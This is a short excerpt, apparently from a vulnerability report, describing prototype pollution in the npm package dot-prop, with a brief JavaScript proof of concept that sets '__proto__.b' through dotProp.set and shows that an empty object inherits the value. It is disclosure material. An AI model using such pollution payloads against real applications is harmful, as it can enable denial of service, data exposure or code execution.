原文摘录

摘自原文(997 字符中的一小部分)
I would like to report a parameter pollution in dot-prop It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation (DoS, access to sensitive data, RCE).
原文中的代码
var dotProp = require("dot-prop")
const object = {};
console.log("Before " + object.b); //Undefined
dotProp.set(object, '__proto__.b', true);
console.log("After " + {}.b); //true
